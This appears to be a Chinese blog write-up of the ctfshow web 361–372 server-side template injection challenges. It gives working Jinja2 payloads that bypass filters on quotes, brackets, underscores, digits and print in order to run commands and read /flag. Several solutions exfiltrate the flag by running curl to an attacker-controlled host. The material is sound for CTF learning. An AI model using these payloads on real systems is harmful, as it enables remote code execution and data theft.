ctfshow SSTI

 SSTI的概念


SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

web 361

GET输入?name={{7*7}}

说明注入点是?name

获得内置类所对应的类

获得object基类

获得所有子类

我们用python脚本观察是否含有’popen’ 

列出根目录内容

取得flag

SSTI模板注入漏洞就是服务端没有对用户输入的内容进行过滤,导致服务器没有对输入的内容尽进行任何处理就将其作为Web应用模板内容的一部分,使得模板引擎在进行编译渲染的过程中,执行了用户插入的破坏模板的语句。

我们一般的攻击方式就是想办法获得object的所有子类,因为子类中包含有可以执行命令或文件读取的方法,我们获得这些方法就可以对目标服务器进行攻击。

web 362

这道题貌似将3和2过滤了

那我们将132变成140-8不就好了 

哟西,接下来就和上一题一样了

web 363 

这道题过滤了单双引号

使用request.args.x1传递GET参数x1,从而避免单双引号的使用

或者我们可以用[]来获取内置类所对应的类。 

这时我们可以把单引号里的内容使用传参的方式将我们想要的字符串传进去

web 364

在上面的基础上过滤了args 

request.args是GET传参,可以使用其他方式来代替args,如cookie

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}

Cookie:a=os;b=popen;c=cat /flag

 web 365

在以上的基础上过滤了中括号

法一:继续用request.cookies

法二:

使用.__base__或者.mro[1]来获取object基类。由于中括号被过滤了,我们就使用.getitem(1)来获取

因为字符串需要用单双引号来包裹起来,故我们使用request.values.参数 的方式传参 

web 366 

多过滤了下划线

法一:

法二:

用attr方法:request|attr(request.cookies.a)等价于request[“a”]

 

web 367 

过滤了了os,那就把os写到request里面就行了

 

web 368 

{{被过滤,使用{%%}绕过,再借助print()回显 

?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}

Cookie:a=__globals__;b=os;c=cat /flag

web 369

这道题过滤掉了request,参考yu师傅的博客

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

分析

构造po="pop"    
#利用dict()|join拼接得到。
#dict() 函数用于创建一个字典;join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
{% set po=dict(po=a,p=a)|join%}

a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}

构造ini="__init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
即chr=q.__init__.__global__.__getitem__.__builtins__.chr

构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

{%print(x.open(file).read())%}
打印q.__init__.__global__.__getitem__.__builtins__.open(file).read())

 

web 370 

 这一关过滤了数字

可以把一些东西转string再转list,然后用index

GET:?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
 
//count可以用length代替

 

web 371 

这道题过滤了print

 

?name={% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

 cmd后的内容由以下代码生成

def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+aaa(str(ord(s[i])))+')%2b'
		else:
			t+='chr('+aaa(str(ord(s[i])))+')'
	return t
print(ccchr(s))

 运行结果

chr((cccccccccc~cccccc)|int)%2bchr((cccccccccc~cccccc)|int)%2bchr((ccccccccccc~cccccc)|int)%2bchr((ccccccccccc~cccccccccc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((cccccccccccc~cc)|int)%2bchr((cccccccccccc~ccccc)|int)%2bchr((cccccccccccc~ccccccc)|int)%2bchr((cccccccccc~cccccc)|int)%2bchr((cccccccccc~cccccc)|int)%2bchr((ccccc~c)|int)%2bchr((cccc~ccccc)|int)%2bchr((cccccccccccc~cc)|int)%2bchr((cccccccccccc~cccccc)|int)%2bchr((cccc~ccccc)|int)%2bchr((ccccc~cc)|int)%2bchr((ccccc~ccccccc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((cccccccccccc~cc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((ccccccccccc~cc)|int)%2bchr((cccccccccccc~c)|int)%2bchr((ccccc~c)|int)%2bchr((cccc~ccccc)|int)%2bchr((cccccccccc~cccccccccc)|int)%2bchr((cccccccccccc~cccccccc)|int)%2bchr((cccccccccccc~ccccc)|int)%2bchr((ccccccccccc~ccccccccc)|int)%2bchr((cccc~ccc)|int)%2bchr((ccccccccccc~ccccc)|int)%2bchr((cccccccccccc~ccccccc)|int)%2bchr((cccccccccccc~ccccccc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((cccccc~ccccccccc)|int)%2bchr((ccccc~cccccccc)|int)%2bchr((ccccc~cccccccc)|int)%2bchr((ccccccccccccc~c)|int)%2bchr((ccccccccccccc~c)|int)%2bchr((ccccccccccccc~c)|int)%2bchr((cccccc~ccccccccc)|int)%2bchr((cccccc~ccc)|int)%2bchr((cccccc~cccc)|int)%2bchr((cccccc~ccccc)|int)%2bchr((cccccc~cccccc)|int)%2bchr((ccccccc~cccc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((ccccccc~cc)|int)%2bchr((cccccccccc~ccccccc)|int)%2bchr((cccccccccc~cccccccccc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((cccccccccccc~ccccccc)|int)%2bchr((cccc~ccc)|int)%2bchr((ccccc~cccccccc)|int)%2bchr((ccccccccccc~ccc)|int)%2bchr((ccccccccccc~ccccccccc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccccc~cccc)|int)%2bchr((cccccccccc~ccccccc)|int)%2bchr((cccc~ccccc)|int)%2bchr((ccccc~cc)|int)%2bchr((ccccc~ccccccc)|int)%2bchr((cccccccccccc~ccccc)|int)%2bchr((ccccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccccc~c)|int)%2bchr((ccccc~c)|int)%2bchr((ccccc~cc)|int)

web 372 

过滤了count,可以用length替换;

?name={%set one=dict(c=a)|join|length%}
{%set two=dict(cc=a)|join|length%}
{%set three=dict(ccc=a)|join|length%}
{%set four=dict(cccc=a)|join|length%}
{%set five=dict(ccccc=a)|join|length%}
{%set six=dict(cccccc=a)|join|length%}
{%set seven=dict(ccccccc=a)|join|length%}
{%set eight=dict(cccccccc=a)|join|length%}
{%set nine=dict(ccccccccc=a)|join|length%}
{%set pop=dict(pop=a)|join%}
{%set kongge=(()|select|string|list)|attr(pop)(five*two)%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set maohao=(config|string|list)|attr(pop)(two*seven)%}
{%set xiegang=(config|string|list)|attr(pop)(-eight*eight)%}
{%set dian=(config|string|list)|attr(pop)(five*five*eight-nine)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set open=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(open=a)|join)%}
{%set file=open((xiegang,dict(flag=a)|join)|join)|attr(dict(read=a)|join)()%}
{%set command=(dict(curl=a)|join,kongge,dict(http=a)|join,maohao,xiegang,xiegang,three,nine,dian,one,one-one,seven,dian,one,one-one,seven,dian,eight,four,maohao,one,one,one,one,xiegang,file)|join%}
{%set shell=(lipsum|attr(globals))|attr(get)(dict(o=a,s=b)|join)|attr(dict(popen=a)|join)(command)%}

 

 由于ctfshow web入门371和372都过滤print,所以我们只能使用curl带外才能获得flag。而372题目过滤了count,没有过滤length,所以我们对这两道题使用length都是可以。

我们的思路是通过lipsum获取到os的popen方法,以便执行命令,然后执行的命令为"curl http://xxx.xxx.xxx.xxx:1111/open(‘/flag’).read()",这时我们就可以使用服务器以1111端口开启一个http服务,在服务器就可以看到flag的值。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

迪亚波罗#

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值